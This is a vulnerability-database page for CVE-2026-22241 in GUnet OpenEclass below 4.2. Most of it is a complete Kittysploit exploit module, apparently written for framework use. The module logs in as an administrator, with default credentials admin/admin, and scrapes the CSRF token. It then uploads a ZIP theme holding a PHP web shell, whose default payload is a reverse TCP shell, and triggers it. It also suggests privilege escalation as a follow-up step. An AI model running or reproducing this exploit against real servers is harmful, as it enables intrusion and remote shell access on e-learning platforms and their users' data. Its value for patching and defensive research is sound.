GUnet OpenEclass < 4.2 - Remote Code Execution (RCE)
| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| CVE-2026-22241 | 8 Jan 202616:03 | – | circl | |
| Open eClass 安全漏洞 | 8 Jan 202600:00 | – | cnnvd | |
| CVE-2026-22241 | 8 Jan 202615:07 | – | cve | |
| CVE-2026-22241 Open eClass has Unrestricted File Upload that Leads to Remote Code Execution (RCE) | 8 Jan 202615:07 | – | cvelist | |
| GUnet OpenEclass E-learning platform < 4.2 - Remote Code Execution (RCE) | 29 Apr 202600:00 | – | exploitdb | |
| EUVD-2026-1672 | 8 Jan 202615:07 | – | euvd | |
| CVE-2026-22241 | 9 Oct 202603:00 | – | kitploit | |
| CVE-2026-22241 | 15 Oct 202616:28 | – | kitploit | |
| CVE-2026-22241 | 12 Oct 202620:38 | – | kitploit | |
| OpenEclass RCE (CVE-2026-22241) Detection | 2 May 202621:27 | – | kittysploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from bs4 import BeautifulSoup
import zipfile
import tempfile
import os
import warnings
from io import BytesIO
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
class Module(Exploit, Http_client):
__info__ = {
"name": "GUnet OpenEclass < 4.2 - Remote Code Execution (RCE)",
"description": "CVE-2026-22241 - OpenEclass Unrestricted File Upload RCE via malicious theme upload. "
"This module exploits a vulnerability where an authenticated administrator can upload "
"a ZIP file containing a PHP web shell, which is then extracted to a predictable location.",
"author": ["Kittysploit Team"],
"cve": ["CVE-2026-22241"],
"arch": [Arch.PHP],
"platform": Platform.MULTI,
"category": "singles",
"payload": {
"default": "payloads/singles/cmd/php/reverse_tcp",
"arch": Arch.PHP,
"platform": Platform.PHP,
"category": "singles",
},
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
},
}
username = OptString("admin", "Admin username", required=True)
password = OptString("admin", "Admin password", required=True)
def check(self):
"""
Check if target is OpenEclass
"""
try:
response = self.http_request(method="GET", path="/")
if response:
content = response.text.lower()
if 'openeclass' in content or 'open eclass' in content:
return {
'vulnerable': True,
'reason': 'OpenEclass detected',
'confidence': 'medium'
}
return {
'vulnerable': False,
'reason': 'OpenEclass not detected',
'confidence': 'low'
}
except Exception as e:
return {
'vulnerable': False,
'reason': f'Check failed: {str(e)}',
'confidence': 'low'
}
def run(self):
"""
Execute the exploit
"""
try:
print_status(f"CVE-2026-22241 - OpenEclass < 4.2 RCE")
print_status(f"Target: {self.target}:{self.port}")
# Step 1: Login
print_status("Sending login request...")
login_url = "/?login_page=1"
login_payload = {
'next': '/main/portfolio.php',
'uname': self.username,
'pass': self.password,
'submit': 'Enter'
}
# Kittysploit's http_client manages sessions if session=True
response = self.http_request(
method="POST",
path=login_url,
data=login_payload,
session=True,
allow_redirects=True
)
if not response or self.username not in response.text:
# Basic check if login worked - might need adjustment based on real OpenEclass responses
print_error("Login failed! Please check your credentials.")
return False
print_success(f"Successfully logged in as {self.username}")
# Step 2: Get CSRF token (if applicable) or verify admin access
print_status("Retrieving upload token...")
token_page = self.http_request(
method="GET",
path="/modules/admin/theme_options.php",
session=True
)
if not token_page or token_page.status_code != 200:
print_error("Failed to access theme options page. Are you sure you have admin rights?")
return False
soup = BeautifulSoup(token_page.text, 'html.parser')
token_input = soup.select_one('input[name="token"]')
if not token_input:
print_error("Failed to extract upload token.")
return False
upload_token = token_input['value']
print_info(f"Retrieved token: {upload_token}")
# Step 3: Create and upload malicious zip file
print_status("Creating malicious zip file...")
shell_name = self.random_text(8) + ".php"
zip_filename = self.random_text(8) + ".zip"
# Using temporary directory for zip creation
temp_dir = tempfile.mkdtemp()
zip_path = os.path.join(temp_dir, zip_filename)
try:
# Prepare PHP shell content
# We wrap the framework payload in PHP tags
shell_content = f"<?php\n{self.payload}\n?>"
with zipfile.ZipFile(zip_path, 'w') as zipf:
zipf.writestr(shell_name, shell_content.encode())
print_status(f"Uploading {zip_filename} containing {shell_name}...")
with open(zip_path, 'rb') as f:
file_content = f.read()
files = {
'themeFile': (zip_filename, BytesIO(file_content), 'application/zip'),
'import': (None, ''),
'token': (None, upload_token)
}
upload_response = self.http_request(
method="POST",
path="/modules/admin/theme_options.php",
files=files,
session=True
)
if not upload_response or upload_response.status_code != 200:
print_error("Failed to upload the payload.")
return False
print_success("Payload uploaded successfully!")
# Step 4: Trigger the shell
# Based on the PoC, the file is extracted to /courses/theme_data/{filename}
shell_path = f"/courses/theme_data/{shell_name}"
print_status(f"Triggering shell at {shell_path}...")
# We trigger it with a GET request
self.http_request(
method="GET",
path=shell_path,
session=True,
timeout=5 # Short timeout as it might be a reverse shell
)
print_success("Exploit finished. Check your listener if using a reverse shell.")
return True
finally:
# Cleanup
if os.path.exists(zip_path):
os.remove(zip_path)
if os.path.exists(temp_dir):
os.rmdir(temp_dir)
except Exception as e:
print_error(f"Exploitation failed: {e}")
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Jul 2026 11:31Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.17.2
CVSS 48.6
EPSS0.03262
SSVC